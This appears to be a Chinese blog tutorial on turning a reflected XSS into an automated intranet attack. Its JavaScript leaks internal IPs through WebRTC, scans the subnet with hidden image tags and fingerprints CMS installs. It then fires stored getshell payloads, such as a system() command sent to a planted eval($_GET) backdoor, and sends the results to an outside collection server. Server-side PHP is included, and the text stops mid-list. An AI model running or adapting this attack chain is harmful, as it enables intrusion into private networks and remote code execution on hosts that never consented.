&lt;p&gt;很多人都认为 XSS 只能做盗取 cookies 的活。以至于有些 SRC、厂商对待反射型 XSS 视而不见，或者说是根本不重视。&lt;/p&gt;
&lt;p&gt;直到“黑哥”在之前的演讲中提到 XSS 入侵内网，情况才得以好转。但是经过本人测试，黑哥所说的 XSS 内网入侵，应该是包含了浏览器漏洞。那没有浏览器漏洞该如何呢？就像 0x_Jin 之前在乌云报道的搜狐漏洞那样: &lt;a href=&quot;http://www.wooyun.org/bugs/wooyun-2014-076685&quot;&gt;http://www.wooyun.org/bugs/wooyun-2014-076685&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里有几个需要注意的地方: 由于浏览器的同源策略问题导致没有办法做到真正意义上的内网入侵，当然如果你又浏览器的 0day，那事情就另当别论了。&lt;/p&gt;
&lt;p&gt;而 0x_Jin 在乌云中的那篇漏洞报告，我自己本人也去问了。答复就是只是检测了开放的 80 端口，就没有后续了。黑哥没有公布完整的代码，0x_Jin 没有深入。既然都没有，就交给我吧。这里我将会使用其他办法“绕过浏览器的同源策略”。&lt;/p&gt;
&lt;h2&gt;0x02 构架: {#architecture}&lt;/h2&gt;
&lt;p&gt;代码采用了类似 XSS 平台那种实时反馈机制。在这里我先把变量介绍一遍:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var onlyString           = &quot;abc&quot;;
var ipList               = [];
var survivalIpLIst       = [];
var deathIpLIst          = [];
var sendsurvivalIp       = &quot;http://webrtcxss.cn/Api/survivalIp&quot;;
var snedIteratesIpUrl    = &quot;http://webrtcxss.cn/Api/survivalPortIp&quot;;
var snedIteratesCmsIpUrl = &quot;http://webrtcxss.cn/Api/survivalCmsIp&quot;;
var sendExistenceVul     = &quot;http://webrtcxss.cn/Api/existenceVul&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;onlyString : 唯一字符串，用于让服务器识别当前发送的请求是哪一个项目，真实代码是不会写成 abc 的，会使用 md5(date(‘Y-m-d H: i: s’)) 来生成 hash。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ipList : 数组变量用来储存 webrtc 获取的内网 IP 地址。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;survivalIpLIst : 数组对象用于存放开放 80 端口的 IP 地址&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;deathIpLIst : 数组对象用于存放不存在 80 端口的 IP，用于判断&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;sendsurvivalIp : 发送当前内网 IP 的信息到服务端&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;snedIteratesIpUrl : 从服务端反馈的 cms 路径对当前存在 80 端口的 IP 进行判断，看现有存活的 IP 地址是否可以在服务端里找到所匹配的 CMS 信息&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;snedIteratesCmsIpUrl : 用于在已匹配到的 cms 信息里，从服务端里验证这个 cms 是否存在我们在服务端里所保存的 getshell 漏洞&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;sendExistenceVul : 已确定漏洞，发送到服务端&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;之前在 0x01 前言里说到，这里我将会使用其他办法“绕过浏览器的同源策略”。整段代码的构架: &lt;a href=&quot;https://www.processon.com/view/link/5711cdc6e4b0d7e7748c34ec&quot;&gt;https://www.processon.com/view/link/5711cdc6e4b0d7e7748c34ec&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;0x03 获取内网的 IP 信息: {#get-ip}&lt;/h2&gt;
&lt;p&gt;详情请移步到: &lt;a href=&quot;https://webrtc.org/faq/#what-is-webrtc&quot;&gt;https://webrtc.org/faq/#what-is-webrtc&lt;/a&gt;
因为 WebRTC 让 JavaScript 具有了一定的底层操作方法，而由于 WebRTC 的特殊性，让我们可以使用 JavaScript 来获取到内网 IP。目前 WebRTC 支持的平台有: Chrome、Firefox、Opera、Android、IOS。实际测试的时候 maxthon 也是支持的（此处有伏笔）。
WebRTC 获取内网 IP 这段代码网上是可以找到的，而在这里需要修改一下。方便其他代码容易调用。
然后就是 webrtc 的代码了:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var webrtcxss = {
    webrtc : function(callback){
        var ip_dups           = {};
        var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
        var mediaConstraints  = {
            optional: [{RtpDataChannels: true}]
        };
        var servers = undefined;
        if(window.webkitRTCPeerConnection){
            servers = {iceServers: []};
        }
        var pc = new RTCPeerConnection(servers, mediaConstraints);
        pc.onicecandidate = function(ice){
            if(ice.candidate){
                var ip_regex        = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
                var ip_addr         = ip_regex.exec(ice.candidate.candidate)[1];
                if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
                ip_dups[ip_addr] = true;
            }
        };
        pc.createDataChannel(&quot;&quot;);
        pc.createOffer(function(result){
            pc.setLocalDescription(result, function(){});
        });
    },
    getIp : function(){
        this.webrtc(function(ip){
            ipList.push(ip);
        });
    }
}
webrtcxss.getIp();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在我们来打印一下看看:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/webrtc-local-ip.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;已经获取到了我当前主机的 IP 地址了。&lt;/p&gt;
&lt;h2&gt;0x04 检测内网中开启了 80 端口的 IP: {#port-scan}&lt;/h2&gt;
&lt;p&gt;上一节的结尾可以看到 &lt;code&gt;webrtcxss.getIp()&lt;/code&gt;;已经调用了 WebRTC 来获取到内网的 IP 信息，IP 保存在 ipList 数组变量里。这里就要检测内网中所有开放 80 端口的 IP 了。这里我写了一个函数来把这一步放到函数里:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function iteratesIp(){
    stage(1)
    ipAjax = new XMLHttpRequest();
    ipAjax.open(&apos;POST&apos;, sendsurvivalIp, false);
    ipAjax.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
    ipAjax.send(&apos;survivalip=&apos;+ ipList.join(&quot;-&quot;) + &apos;&amp;amp;onlystring=&apos; + onlyString);
    for(var i = 0;i &amp;lt; ipList.length;i++){
        incompleteIp = ipList[i].split(&quot;.&quot;);
        incompleteIp.pop();
        incompleteIp = incompleteIp.join(&quot;.&quot;);
        for(var j = 1;j &amp;lt; 255;j++){
            var ip = incompleteIp + &quot;.&quot; + j;
            var imgTag = document.createElement(&quot;img&quot;);
            imgTag.setAttribute(&quot;src&quot;,&quot;http://&quot; + ip + &quot;/favicon.ico&quot;);
            imgTag.setAttribute(&quot;onerror&quot;,&quot;javascript:deathIpLIst.push(&apos;&quot;+ip+&quot;&apos;)&quot;);
            imgTag.setAttribute(&quot;onload&quot;,&quot;javascript:survivalIpLIst.push(&apos;&quot;+ip+&quot;&apos;)&quot;);
            imgTag.setAttribute(&quot;style&quot;,&quot;display:none;&quot;);
            document.getElementsByTagName(&quot;body&quot;)[0].appendChild(imgTag);
        }
    }
}
setTimeout(&quot;iteratesIp()&quot;,20000);
(function(){
    if(deathIpLIst.length + survivalIpLIst.length == 254){
        snedIteratesIpData(survivalIpLIst);
    }else{
        setTimeout(arguments.callee,5000);
    }
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至于其中的 &lt;code&gt;stage(1)&lt;/code&gt; 是我自己写的一个函数，用于实时向服务端发送当前最新的运行情况，我们放到最后再说。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;ipAjax = new XMLHttpRequest();
ipAjax.open(&apos;POST&apos;, sendsurvivalIp, false);
ipAjax.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
ipAjax.send(&apos;survivalip=&apos;+ ipList.join(&quot;-&quot;) + &apos;&amp;amp;onlystring=&apos; + onlyString);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码是把当前获取到的内网 IP 发送到服务端，至于为什么要在 ipList 后面加上 join(“-”) 函数是因为 WebRTC 有时会把获取网关、VM 虚拟机的 IP 也获取上来。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;for(var i = 0;i &amp;lt; ipList.length;i++){
    incompleteIp = ipList[i].split(&quot;.&quot;);
    incompleteIp.pop();
    incompleteIp = incompleteIp.join(&quot;.&quot;);
    for(var j = 1;j &amp;lt; 255;j++){
        var ip = incompleteIp + &quot;.&quot; + j;
        var imgTag = document.createElement(&quot;img&quot;);
        imgTag.setAttribute(&quot;src&quot;,&quot;http://&quot; + ip + &quot;/favicon.ico&quot;);
        imgTag.setAttribute(&quot;onerror&quot;,&quot;javascript:deathIpLIst.push(&apos;&quot;+ip+&quot;&apos;)&quot;);
        imgTag.setAttribute(&quot;onload&quot;,&quot;javascript:survivalIpLIst.push(&apos;&quot;+ip+&quot;&apos;)&quot;);
        imgTag.setAttribute(&quot;style&quot;,&quot;display:none;&quot;);
        document.getElementsByTagName(&quot;body&quot;)[0].appendChild(imgTag);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码是遍历所有内网主机 80 端口的。我们来实际看下把:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/subnet-prefix.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;后面的。104 被我们去掉了。然后利用 for 循环来遍历 192.168.1.1~192.168.1.254
现在我们来运行&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;for(var i = 0;i &amp;lt; ipList.length;i++){
    incompleteIp = ipList[i].split(&quot;.&quot;);
    incompleteIp.pop();
    incompleteIp = incompleteIp.join(&quot;.&quot;);
    for(var j = 1;j &amp;lt; 255;j++){
        var ip = incompleteIp + &quot;.&quot; + j;
        var imgTag = document.createElement(&quot;img&quot;);
        imgTag.setAttribute(&quot;src&quot;,&quot;http://&quot; + ip + &quot;/favicon.ico&quot;);
        imgTag.setAttribute(&quot;onerror&quot;,&quot;javascript:deathIpLIst.push(&apos;&quot;+ip+&quot;&apos;)&quot;);
        imgTag.setAttribute(&quot;onload&quot;,&quot;javascript:survivalIpLIst.push(&apos;&quot;+ip+&quot;&apos;)&quot;);
        imgTag.setAttribute(&quot;style&quot;,&quot;display:none;&quot;);
        document.getElementsByTagName(&quot;body&quot;)[0].appendChild(imgTag);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/favicon-scan-console.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这是控制台的效果，我们来看下 DOM 发生了哪些变化把:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/favicon-img-tags-dom.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里我使用的是 &lt;code&gt;http://192.168.1.xxx/favicon.ico&lt;/code&gt; 来判断内网哪些 IP 开启了 80 端口，并且上面运行着站点。
其中的 &lt;code&gt;onerror=&quot;javascript:deathIpLIst.push(&apos;192.168.1.xxx&apos;)&quot;&lt;/code&gt; 是如果此 IP 没有开启 80 端口，或者开启了 80 端口，但是没有运行站点的话，就调用把当前的 IP 地址 push 到 deathIpLIst 变量里。如果存在的话就 push 到 survivalIpLIst 变量里，也就是这段代码: &lt;code&gt;onload=&quot;javascript:survivalIpLIst.push(&apos;192.168.1.1&apos;)&quot;&lt;/code&gt;
至于为什么要这么做呢，这里就要涉及一个坑了。浏览器是不会你加载了哪些图片就立刻告诉你哪些图片是可以访问，哪些图片是不能访问的，浏览器需要一个缓冲的时间。检测同一网段里 254 个主机是否存在 favicon.ico，大约需要花费 550000ms===550s 约等于 2.16535s/IP。也就是 9.16 多分钟。也就是全部检测完需要等待 9.16 分钟。这也是没办法的事，改变不了。
至于下面为什么要使用 &lt;code&gt;setTimeout(&quot;iteratesIp()&quot;,20000);&lt;/code&gt; 来延迟 20 秒执行呢，因为 WebRTC 获取 IP 需要一定的时间，其实几秒钟就好了。但是为了提高容错率我把时间提高到 20 秒的时间，如果你嫌慢，可以在文章结尾下载源代码，修改。
还有一段代码是这样的:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(function(){
    if(deathIpLIst.length + survivalIpLIst.length == 254){
        snedIteratesIpData(survivalIpLIst);
    }else{
        setTimeout(arguments.callee,5000);
    }
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就是为什么我之前要把 80 端口不存在的 IP 放到一个数组变量里，存在 80 端口的 IP 放到一个数组变量里。因为我不确定他们什么时候好，之前说的 9.1 分钟，只是一个大概时间，因电脑配置、内网通讯速度等其他的原因可能会提前，也可能会更慢。我无法做出保证。所以写了一段代码。下面我来说说这段代码的意思:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(function(){
    /*coding*/
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;是一段匿名函数，当代码运行到此处时会立刻执行此函数。
函数里面首先是判断 deathIpLIst.length + survivalIpLIst.length 是否等于 254。如果等于 254 则调用 snedIteratesIpData 函数，并把开启 80 端口并运行站点的 IP 作为参数发送过去。如果不等于说明浏览器还没有把所有的图片都给判断好。进入 else 分之。
&lt;code&gt;setTimeout(arguments.callee,5000);&lt;/code&gt; 是延迟 5 秒钟运行 arguments.callee。而 arguments.callee 的意思是当前函数。我们来实际看下:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/arguments-callee-log.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;console.log 打印了当前的函数，当然你也可以使用 setTimeout(当前的函数名 ()，5000);来达到此效果，但是此方法对于匿名函数没有用。因为匿名函数是不存在名称的。如果学了递归的朋友们，应该会很好理解。
说通俗点就是: 每隔 5 秒钟运行此函数，直到所有 img 标签全部判断完成，才进行下一步的操作。&lt;/p&gt;
&lt;h2&gt;0x05 确认内网存活主机的 CMS 信息: {#detect-cms}&lt;/h2&gt;
&lt;p&gt;上一节我们说到闭包里的 if 条件里 true 执行的 snedIteratesIpData 函数，现在我们就来说说这个函数里面是什么内容:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function snedIteratesIpData(ip){
    if(deathIpLIst.length == 254){
        return false;
    }
    stage(2)
    ip = ip.join(&quot;-&quot;)
    ipAjax = new XMLHttpRequest();
    ipAjax.onreadystatechange = function(){
        if(ipAjax.readyState == 4 &amp;amp;&amp;amp; ipAjax.status == 200){
            var cmsPath = JSON.parse(ipAjax.responseText).path;
            for(var key in cmsPath){
                for(var i = 0;i &amp;lt; survivalIpLIst.length;i++){
                    var scriptTag = document.createElement(&quot;script&quot;);
                    scriptTag.setAttribute(&quot;src&quot;,&quot;http://&quot; + survivalIpLIst[i] + cmsPath[key]);
                    scriptTag.setAttribute(&quot;data-ipadder&quot;,survivalIpLIst[i]);
                    scriptTag.setAttribute(&quot;data-cmsinfo&quot;,key);
                    scriptTag.setAttribute(&quot;onload&quot;,&quot;javascript:vulnerabilityIpList(this)&quot;);
                    document.getElementsByTagName(&quot;body&quot;)[0].appendChild(scriptTag);
                }
            }
        }
    }
    ipAjax.open(&apos;POST&apos;, snedIteratesIpUrl, false);
    ipAjax.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
    ipAjax.send(&apos;iplist=&apos;+ip+&apos;&amp;amp;onlystring=&apos;+onlyString);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为什么要在函数开始前写上 if 函数呢，因为在上一节中的闭包里存在一个 bug。就是当所有内网 IP 中都没有开放 80 端口且不存在站点的情况下，deathIpLIst.length 会为 254。而 survivalIpLIst.length 会为 0。那 &lt;code&gt;deathIpLIst.length + survivalIpLIst.length == 254&lt;/code&gt; 的条件是为 true 的。为了避免此 bug 的发生，我们在 snedIteratesIpData 函数里加入&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(deathIpLIst.length == 254){
    return false;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当 deathIpLIst.length 等于 254 的时候，返回 false。不再向下执行。因为所有代码的构架就是 A 调用 B，C 调用 A，D 调用 C。当 C 返回 false 的时候，D 是不会执行的。从上面的代码可以看到，返回 false 后。下面的代码都不会运行的。
现在我们来看下 &lt;code&gt;ip = ip.join(&quot;-&quot;)&lt;/code&gt; 这条代码的意思，是当内网中存在两条（包括两条）以上的 IP 地址时，使用 join 函数，传给服务端。方便服务端的接受及查看。服务端的反馈就像下面这样:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/vuln-detail-open-ports.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;面来说说 ajax 请求的代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;ipAjax = new XMLHttpRequest();
ipAjax.onreadystatechange = function(){
    if(ipAjax.readyState == 4 &amp;amp;&amp;amp; ipAjax.status == 200){
        var cmsPath = JSON.parse(ipAjax.responseText).path;
        for(var key in cmsPath){
            for(var i = 0;i &amp;lt; survivalIpLIst.length;i++){
                var scriptTag = document.createElement(&quot;script&quot;);
                scriptTag.setAttribute(&quot;src&quot;,&quot;http://&quot; + survivalIpLIst[i] + cmsPath[key]);
                scriptTag.setAttribute(&quot;data-ipadder&quot;,survivalIpLIst[i]);
                scriptTag.setAttribute(&quot;data-cmsinfo&quot;,key);
                scriptTag.setAttribute(&quot;onload&quot;,&quot;javascript:vulnerabilityIpList(this)&quot;);
                document.getElementsByTagName(&quot;body&quot;)[0].appendChild(scriptTag);
            }
        }
    }
}
ipAjax.open(&apos;POST&apos;, snedIteratesIpUrl, false);
ipAjax.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
ipAjax.send(&apos;iplist=&apos;+ip+&apos;&amp;amp;onlystring=&apos;+onlyString);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发送内网中开放 80 端口且具有站点的 ip 地址，并同时发送唯一标识符。用于服务端验证。
服务端接受后，发送 json 数据，服务端代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$this-&amp;gt;ajaxReturn(array(
    &quot;typeMsg&quot; =&amp;gt; &quot;success&quot;,
    &quot;path&quot;    =&amp;gt; $pathInfo,
));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后使用 if(ipAjax.readyState == 4 &amp;amp;&amp;amp; ipAjax.status == 200) 来判断是否发送成功，成功后，把 json 里的 path 数据赋值 cmsPath 变量。用于后面的代码调用。首先进入 for 循环，cmsPath[‘key’]为当前的 cms 路径。然后再来套一个 for 循环，survivalIpLIst[i]为当前循环的 IP 地址。
接下来就是建立一个 script 标签的 DOM 元素，其中的 data-ipadder、data-cmsinfo 是为了让后面的代码方便调用。&lt;code&gt;onload = &quot; javascript:vulnerabilityIpList(this)&quot;&lt;/code&gt; 是当这个地址存在的时候，调用的一个函数，下一节会说到。
现在先让我们看看数据库在的 cmsPath 是什么样的把:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/cmspath-db-table.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;默认就这 4 个，更多的路径可以自行加入。
为了方便测试，我在我家中的另一台电脑上部署了代码，只有 index.php、/static/bbcode.js、vul/heihei.php、favicon.ico 这几个文件。而在 heihei.php 文件里代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
   eval($_GET[&apos;a&apos;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为什么是这个呢，很简单。我手里面没有 Discuz 的 getshell 漏洞。为了徒省事。就这样把。而 favicon.ico 文件我也很随意的使用了 dedecms 的 favicon.ico。后面测试的时候，还望不要见怪。
现在我们来运行下代码看下会发生什么事情吧:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/cms-js-probe-console.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我在/static/bbcode.js 文件里写入的是 console.log(1) 所有会在控制台反馈 1。这只是测试的代码，真实的环境是不会这样的。现在我们来看下 DOM 元素有些改变把:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/cms-script-tags-dom.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;已经调用了，程序检测到只有 &lt;a href=&quot;http://192.168.1.103/static/js/bbcode.js&quot;&gt;http://192.168.1.103/static/js/bbcode.js&lt;/a&gt; 符合。那么一旦成功调用 js 文件，就会执行 onlod 里的 vulnerabilityIpList(this) 代码。而 vulnerabilityIpList 函数代码就在下一节。&lt;/p&gt;
&lt;h2&gt;0x06 检测内网主机中的漏洞是否真实存在（上篇）: {#verify-vuln-part-1}&lt;/h2&gt;
&lt;p&gt;下面就是 vulnerabilityIpList 函数的代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function vulnerabilityIpList(info){
    stage(3)
    ipAjax = new XMLHttpRequest();
    ipAjax.onreadystatechange = function(){
        if(ipAjax.readyState == 4 &amp;amp;&amp;amp; ipAjax.status == 200){
            var vulCmsInfo = ipAjax.responseText;
            var img = document.createElement(&quot;img&quot;);
            img.setAttribute(&quot;scr&quot;,vulCmsInfo);
            img.setAttribute(&quot;style&quot;,&quot;display:none;&quot;);
            document.getElementsByTagName(&quot;body&quot;)[0].appendChild(img);
            setTimeout(function(){
                var scriptTag = document.createElement(&quot;script&quot;);
                scriptTag.setAttribute(&quot;src&quot;,&quot;http://&quot;+info.getAttribute(&apos;data-ipadder&apos;)+&quot;/1.js&quot;);
                scriptTag.setAttribute(&quot;data-cmsinfo&quot;,info.getAttribute(&quot;data-cmsinfo&quot;));
                scriptTag.setAttribute(&quot;data-vulip&quot;,info.getAttribute(&apos;data-ipadder&apos;));
                scriptTag.setAttribute(&quot;onload&quot;,&quot;javascript:vulConfirm(this)&quot;);
                document.getElementsByTagName(&quot;body&quot;)[0].appendChild(scriptTag);
            },2000);
        }
    }
    ipAjax.open(&apos;POST&apos;, snedIteratesCmsIpUrl, false);
    ipAjax.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
    ipAjax.send(&apos;existenceCmsIp=&apos;+ info.getAttribute(&quot;data-ipadder&quot;) + &apos;&amp;amp;existenceCmsInfo=&apos; + info.getAttribute(&quot;data-cmsinfo&quot;) + &apos;&amp;amp;onlystring=&apos; + onlyString);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 info 参数是成功调用的 script 标签的 DOM 元素对象。
首先让我们看下发送 url 的请求:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;existenceCmsIp 参数是检测到 cms 类型的 IP 地址&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;existenceCmsInfo 参数是检测到 cms 类型&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;onlystring 参数是唯一标识符，用于服务器判断属于哪一个项目。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;接下来让我们看下 onreadystatechange 里面的内容:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var vulCmsInfo = ipAjax.responseText;
var img = document.createElement(&quot;img&quot;);
img.setAttribute(&quot;scr&quot;,vulCmsInfo);
img.setAttribute(&quot;style&quot;,&quot;display:none;&quot;);
document.getElementsByTagName(&quot;body&quot;)[0].appendChild(img);
setTimeout(function(){
    var scriptTag = document.createElement(&quot;script&quot;);
    scriptTag.setAttribute(&quot;src&quot;,&quot;http://&quot;+info.getAttribute(&apos;data-ipadder&apos;)+&quot;/1.js&quot;);
    scriptTag.setAttribute(&quot;data-cmsinfo&quot;,info.getAttribute(&quot;data-cmsinfo&quot;));
    scriptTag.setAttribute(&quot;data-vulip&quot;,info.getAttribute(&apos;data-ipadder&apos;));
    scriptTag.setAttribute(&quot;onload&quot;,&quot;javascript:vulConfirm(this)&quot;);
    document.getElementsByTagName(&quot;body&quot;)[0].appendChild(scriptTag);
},2000);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先就是 var vulCmsInfo = ipAjax.responseText;，把服务器返回的字符串赋值给 vulCmsInfo 变量。服务端的代码是:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;/*
* 把客户端检测到存在 CMS 的 IP 加入到数据库中
*/
if(I(&apos;post.existenceCmsIp&apos;)  == &quot;&quot; || I(&apos;post.existenceCmsInfo&apos;) == &quot;&quot; || I(&apos;post.onlystring&apos;) == &quot;&quot;){
    $this-&amp;gt;ajaxReturn(array(
        &quot;typeMsg&quot; =&amp;gt; &quot;error&quot;,
    ));
}
$existenceCmsIp               = I(&apos;post.existenceCmsIp&apos;);
$existenceCmsInfo             = I(&apos;post.existenceCmsInfo&apos;);
$onlyString                   = I(&apos;post.onlystring&apos;);
$existencecmsip               = M(&apos;existencecmsip&apos;);
$existenceData[&apos;inner_ip&apos;]    = $existenceCmsIp;
$existenceData[&apos;cms&apos;]         = $existenceCmsInfo;
$existenceData[&apos;onlystring&apos;] = $onlyString;
$existenceData[&apos;create_time&apos;] = date(&apos;Y-m-d H:i:s&apos;);
$existencecmsip-&amp;gt;data($existenceData)-&amp;gt;add();
/*
* 获取数据库中的 cms 漏洞详情，发送给客户端
*/
$cmsvul  = M(&apos;cmsvul&apos;);
$vulInfo = base64_decode($cmsvul-&amp;gt;where(&apos;cms=&quot;&apos;.$existenceCmsInfo.&apos;&quot;&apos;)-&amp;gt;getField(&quot;vulinfo&quot;));
echo &quot;http://&quot;.$existenceCmsIp.$vulInfo;从代码中可以看到服务端返回的不是json数据，而是字符串，这个字符串是拼接好的url。这个url就是从获取到的IP地址加上服务器中调用属于cms漏洞的path路径。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后使用 img 标签来发送 get 请求，用于触发此 getshell 漏洞。代码也就是:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var img = document.createElement(&quot;img&quot;);
img.setAttribute(&quot;scr&quot;,vulCmsInfo);
img.setAttribute(&quot;style&quot;,&quot;display:none;&quot;);
document.getElementsByTagName(&quot;body&quot;)[0].appendChild(img);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至于为什么要使用 setTimeout 函数来延迟 2 秒钟执行，是因为之前也说过浏览器是无法同时判断那么多的 img 请求。因为这里只有一个所以我使用了 2 秒，真实情况下可以改为 20 秒。
然后建立一个 script 标签，用于判断 1.js 是否生成成功，如果生成成功，就说明漏洞存在，交给下一个函数处理，如果不存在，就此打住。因为 onload 不会调用 vulConfirm 函数。
至于为什么要判断 1.js 文件，就是我之前所说的 getshell 生成的代码。在数据中是这样的:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/cmsvul-base64-table.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;是一段 base64 密文，解开后，内容如下: &lt;code&gt;/vul/heihei.php?a=system(&apos;echo 1 &amp;gt;&amp;gt; ../1.js&apos;);&lt;/code&gt;
而在后端发送给前端的时候，我已经解密了。如同上面代码中:
&lt;code&gt;$vulInfo = base64_decode($cmsvul-&amp;gt;where(&apos;cms=&quot;&apos;.$existenceCmsInfo.&apos;&quot;&apos;)-&amp;gt;getField(&quot;vulinfo&quot;));&lt;/code&gt;
而在浏览器中代码是这样:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/getshell-payload-dom.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;接下来就是 setTimeout 函数的真正的用处了。请注意这段代码:
&lt;code&gt;scriptTag.setAttribute(&quot;src&quot;,&quot;http://&quot;+info.getAttribute(&apos;data-ipadder&apos;)+&quot;/1.js&quot;);&lt;/code&gt;
在 script 中把 src 的赋值成检测目标站点是否存在 1.js。如果存在就运行 onload 里的 vulConfirm 函数。而 vulConfirm 函数就在下一节。&lt;/p&gt;
&lt;h2&gt;0x07 检测内网主机中的漏洞是否真实存在（下篇）: {#verify-vuln-part-2}&lt;/h2&gt;
&lt;p&gt;vulConfirm 函数的内容很简单，只有给服务端发送的代码。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function vulConfirm(cmsConfirmInfo){
    stage(4)
    ipAjax = new XMLHttpRequest();
    ipAjax.open(&apos;POST&apos;, sendExistenceVul, false);
    ipAjax.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
    ipAjax.send(&apos;cms=&apos;+ cmsConfirmInfo.getAttribute(&quot;data-cmsinfo&quot;) + &apos;&amp;amp;vulip=&apos;+ cmsConfirmInfo.getAttribute(&quot;data-vulip&quot;) +&apos;&amp;amp;onlystring=&apos; + onlyString);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
